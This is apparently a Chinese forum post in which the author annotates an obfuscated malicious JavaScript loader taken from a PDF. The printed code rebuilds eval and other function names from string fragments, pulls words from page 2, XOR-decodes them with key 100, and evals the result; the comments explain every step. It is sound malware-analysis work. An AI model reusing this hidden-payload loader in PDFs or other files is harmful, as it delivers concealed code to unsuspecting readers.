<SCRIPT LANGUAGE="vbscript">
//这里貌似应该是<SCRIPT LANGUAGE="javascript“>var googleA=this;
var send=["","e","l","a","v"];
unlock=new String(send[1]+send[4]+send[3]+send[2]+send[0]);
unlock=eval;var a=["Word","","getPa","geNth"];
unlockAdobe=new String(a[2]+a[3]+a[0]+a[1]);
unlockAdobe=getPageNthWord;var getAdobe=["Pag","mWo","get","rds","eNu",""];
mail=new String(getAdobe[2]+getAdobe[0]+getAdobe[4]+getAdobe[1]+getAdobe[3]+getAdobe[5]);
mail=getPageNumWords;var b=["s","n","a","e","c","u","e","p",""];
d=new String(b[5]+b[1]+b[3]+b[0]+b[4]+b[2]+b[7]+b[3]+b[8]);
d=unescape;var google=["deA","cha","rCo","t",""];
mailGoogle=new String(google[1]+google[2]+google[0]+google[3]+google[4]);
mailGoogle=charCodeAt;var googleC=["","harCo","fromC","de"];
dD=new String(googleC[2]+googleC[1]+googleC[3]+googleC[0]);
dD=fromCharCode;var googleGet=["a","p","","p"];
get=new String(googleGet[0]+googleGet[1]+googleGet[1]+googleGet[2]);
get=app;var adobe=String("%");
adobe=%;var aA=2;
var mailGet=String;
var bB=0;
var editSend=100;
var get=googleA[get];
get=this[app];var getD=2;
var aEdit=googleA[d];
aEdit=this[unescape];var c=googleA[mail](getD);
c=this[getPageNumWords](2);var googleB="";
for(var googleCUnlock=bB;
googleCUnlock<c;googleCUnlock+=1)
//for(var googleCUnlock=0;googleCUnlock<this[getPageNumWords](2);googleCUnlock+=1)循环开始;条件是this指针指向的函数实际就是pdf某页包含的词的数目,参数是2这里应该是第二页
{
sendD=googleA[unlockAdobe](getD,googleCUnlock);
//sendD=this[getPageNthWord](2,googleCUnlock);这里也是一样根据this指针生成sendD;这里是取得第二页的各个数据段的代码,所以这里呢以下函数操作的代码应该是数据流第二页的代码,这就是kekao你eval函数输出不来的原因,因为没有函数操作源代码@@;(kekao同学看这里,我重新编辑一下帖子,符上截图,你自己看吧,另外楼下应该很详细了)所以去PDF里找数据段2的代码,截图如下:猜想末尾是16进制数 这样的代码是之前xor的,尝试去掉7ae3f8 保留末尾十六进制数;再用该整段函数解密。
var adobeD=sendD.substr(sendD.length-aA,aA);
//adobeD=send.substr(sendD.length-2,2);这里根据sendD生成adobeD;var googleMail=aEdit(adobe+adobeD);
//googleMail=this[unescape](%+adobeD);根据this指针指向通过对adobeD字符串进行unescape操作;这里说一下:
unescape方法返回一个包含 charstring 内容的字符串值。所有以 %xx 十六进制形式编码的字符都用 ASCII 字符集中等价的字符代替。
以 %uxxxx 格式(Unicode 字符)编码的字符用十六进制编码 xxxx 的 Unicode 字符代替.var sendDSend=googleMail[mailGoogle](bB);
//sendDsend=googleMail[charCodeAt](0);继续说:这里写成JS标准形式其实是sendDsend=googleMail.charCodeAt(0) ;charCodeAt(index)方法可返回指定位置的字符的 Unicode 编码。index参数的意思是字符在字符串的下标 0是第一个,例子在字符串string="Hello world!" 中,我们如果是用string.charCodeAt(1)将返回位置 1 的字符的 Unicode 编码101;var mailB=sendDSend^editSend;
//mailB=sendDsend^100;这里是个关键 说明上面取出来的代码是经过xor 100的。所以解密的时候要在参数里填上100 选择xor运算;googleB+=mailGet[dD](mailB);
//google+=String[fromCharCode](mailB);这里实际上是在""里不断的添加字符;同样,写成JS标准形式是String.fromCharCode(mailB),fromCharCode() 方法 可接受一个指定的 Unicode 值,然后返回一个字符串。例子document.write(String.fromCharCode(72,69,76,76,79)),将出现HELLO
}
this[unlock](googleB);
//this[eval](googleB);这里是eval函数 </script>
----------------------------------------华丽的分割线----------------------------------
本人JS不精通,能力有限,全是自己的看法,有错误请各位大牛见谅;